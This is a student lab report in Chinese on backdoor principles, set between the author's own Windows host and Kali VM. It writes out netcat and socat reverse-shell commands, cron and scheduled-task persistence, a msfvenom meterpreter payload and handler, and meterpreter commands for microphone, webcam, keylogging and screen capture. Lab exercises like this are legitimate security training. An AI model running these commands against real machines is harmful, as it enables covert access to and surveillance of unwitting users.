Exp2-后门原理与实践
目录
3.1 使用netcat获取主机操作Shell,cron启动... - 5 -
3.1.1 Windows获取Linux Shell - 5 -
3.1.2 Linux获取Windows Shell - 6 -
3.2 使用socat获取主机操作Shell, 任务计划启动... - 7 -
3.2.1 Windows获取Linux Shell - 7 -
3.2.2 Linux获取Windows Shell - 9 -
3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell - 13 -
3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。... - 17 -
1 实验基础
1.1 基础知识
1.1.1 后门的概念
后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
1.2常用后门工具
NC和Netcat
底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助。
在Windows系统中,需要下载ncat.rar,解压后可使用。
相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。
一个用来生成后门程序的程序。
它包含着后门的
基本功能(基本的连接、执行指令)
扩展功能(如搜集用户信息、安装服务等功能)
编码模式
运行平台
运行参数
它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。
常见的Meterpreter程序有:
intersect
Metaspolit的msfvenom指令
Veil-evasion
本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter.
2.实验目标
使用netcat获取主机操作Shell,cron启动
使用socat获取主机操作Shell,任务计划启动
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或- - socat传送到主机并运行获取主机Shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
3. 实践过程记录
3.0 环境准备
因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址
Windows:打开cmd窗口,输入ipconfig
查询到本机ip地址为192.168.31.34
Linux:打开命令行窗口,输入ifconfig
查询到虚拟机IP地址为192.168.146.128
ncat
ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。
ncat可用来做端口扫描,端口转发,连接远程系统等
参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息
-vv:显示端口更详细的信息
socat
socat可以看做是 Netcat 的加强版。Socat 的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
功能:端口转发、端口映射、端口监听、tcp/udp连接、文件传送、nat映射、使用openssl加密传输
Meterpreter
Meterpreter号称“黑客瑞士军刀”,首先他有五大模块功能:渗透攻击(Exploit)、攻击载荷(Payload)、Shellcode、模块(Module)、监听器(Listener),功能强大
下图为搭建ncat环境变量后的结果:
3.1 使用netcat获取主机操作Shell,cron启动
3.1.1 Windows获取Linux Shell
首先在Windows端启动ncat监听4319(我的学号)端口
ncat.exe -l -p 4319
再在Linux虚拟机连接Windows,HOST:192.168.146.128 端口PORT:4319
ncat 192.168.31.34 4319 -e /bin/sh
-e 选项执行shell程序
win端成功进入Linux Shell运行ls指令
3.1.2 Linux获取Windows Shell
首先在Linux端启动ncat监听4319(我的学号)端口
nc -l -p 4319
再在Windows连接Linux,HOST:192.168.146.128 端口PORT:4319
ncat.exe -e cmd.exe 192.168.146.128 4319
3.2 使用socat获取主机操作Shell, 任务计划启动
3.2.1 Windows获取Linux Shell
先在Linux上编写一条定时任务,让反弹连接定时启动
crontab -e
-Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-crontab指令增加一条定时任务
-e表示编辑
-输入2表示选择vim编辑器
将`* * * * * /bin/netcat 192.168.31.34 4319 -e /bin/sh`写入,每个小时的第一分钟,kali中就会自动执行那条指令,所以如果目标ip138的机子整好就在4319端口监听,那这时候就会获得kali的后门。
可以使用 ’ crontab -l ’ 对写入的代码进行查看:
在cmd中监听2211端口,等待kali机中定时反向连接的启动
ncat.exe -l -p 4319
等待任务启动后,cmd成功获得Linux shell,运行ls
3.2.2 Linux获取Windows Shell
`man socat` 查看socat使用说明
打开‘计算机管理’
创建任务计划程序:
新建任务的操作,启动socat.exe
新建触发器,按预定时间启动任务:
点击左侧的 任务计划程序库 ,点击右边的 显示所有任务 ,然后再中间部分找到自己刚创建的任务,右键运行,弹出一个taskeng.exe框,然后切换到kali
taskeng.exe :
在Kali Linux中输入 socat - tcp:192.168.31.34:4319命令,可以成功得到一个cmd shell:
3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上用MSF meterpreter生成后门可执行程序20204319_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=4319 -f exe > 20204319_backdoor.exe
-LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP:192.168.146.128
-LPORT是回连端口
-p 使用payload。
-payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
-f 生成文件的类型
-> 输出文件名
在Windows上监听4319端口等待接收可执行文件20204319_backdoor.exe
ncat.exe -lv 4319 >20204319_backdoor.exe
在Kali上将生成的20204319_backdoor.exe传送给Windows
ncat 192.168.146.128 4319 < 20204319_backdoor.exe
能够看到Windows上确实出现了后门文件:
在Kali上用`msfconsole`进入msf控制台
配置监听模块:
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.146.128 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 4319
使用Linux:exploit
kali开始监听,在Windows启动20204319_backdoor.exe后门程序,在虚拟机kali中能够成功获取到Windows Shell
3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
本题前面操作与3.3类似,即通过Windows运行后门程序,kali在msf控制台监听来获得Windows Shell
配置与上述相同:
能够看到获得Windows Shell
3.4.1获取麦克风音频
record_mic
能够发现虚拟机上已经出现了麦克风录制文件。
3.4.2 获取摄像头图片
使用代码:webcam_snap
在虚拟机中可以得到主机摄像头所拍摄的内容:
3.4.3获取击键记录
开始获取:keyscan_start
结束获取:keyscan_dump
在浏览器中键入:20204319wang hua tao zi ji zuo shi yan
能够看到虚拟机中捕获了键入的信息
3.4.4获取主机屏幕图像
screenshot
能够看到此时虚拟机自动截取了主机的屏幕的截图:
4基础问题回答
4.1例举你能想到的一个后门进入到你系统中的可能方式?
在网上下载盗版的软件,捡个未知来源的U盘直接插电脑上
4.2例举你知道的后门如何启动起来(win及linux)的方式?
Windows:Win:设置开机自启动项、点击exe文件
Linux:通过crontab-e设置定时监听;或者利用缓冲区地址覆盖注入shellcode
4.3Meterpreter有哪些给你印象深刻的功能?
对Meterpreter启动隐藏、难以被查杀、生成后门快捷方便等特点印象比较深刻。而且生成的后门不仅能直接获取主机的shell权限,还可以进行多方面的监听监视、获取口令密码等。
4.4如何发现自己有系统有没有被安装后门?
安装杀毒软件,定期对系统和对恶意代码进行检测,并及时更新杀毒软件的特征库
打开防火墙,查看是否有异常端口
5. 遇到的问题及解决
我与课题负责人出现相同的问题,也是忘记关闭杀毒软件。
起初开始,我没有关闭安全软件“火绒”,导致传送出来的后门程序频繁被删除,且难以恢复。
导致我下载的ncat都被检验为危险程序,被强行删除
5.2powershell在部分实验中无法使用
最初下载power shell时没配置环境变量?中会出现一些小错误。解决方法就是换成cmd,简洁方便,只是黑色背景看起来比较压抑。
这个问题可能不是因为MSF而产生的,实践五中,在运行MSF后我发现我的pwn源文件也无权限运行了,所以我怀疑可能是MSF,也可能是下载pwn文件时导致,最终按照网上的资料(在LINUX下安装的程序,root运行提示权限不够_zczzsq的博客-CSDN博客)顺利解决。
6实践总结与体会
通过这次实验,我收获最大的地方就是我终于了解了早就有所耳闻得后门,也了解了后门的特点后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,当你输入特定的密码时,你就能以管理员的权限来存取系统。黑客可能使用密码破解一个或多个账号密码,黑客可能会建立一个或多个账号。一个黑客可以存取这个系统,黑客可能使用一些 技术或利用系统的某个漏洞来提升权限。黑客可能会对系统的配置文件进行小部分的修改,以降低系统的防卫性能。也可能会安装一个木马程序,使系统打开一个安全漏洞,以利于黑客完全掌握系统。通过实验,我对网络对抗产生了敬畏之心,学习之路还很长。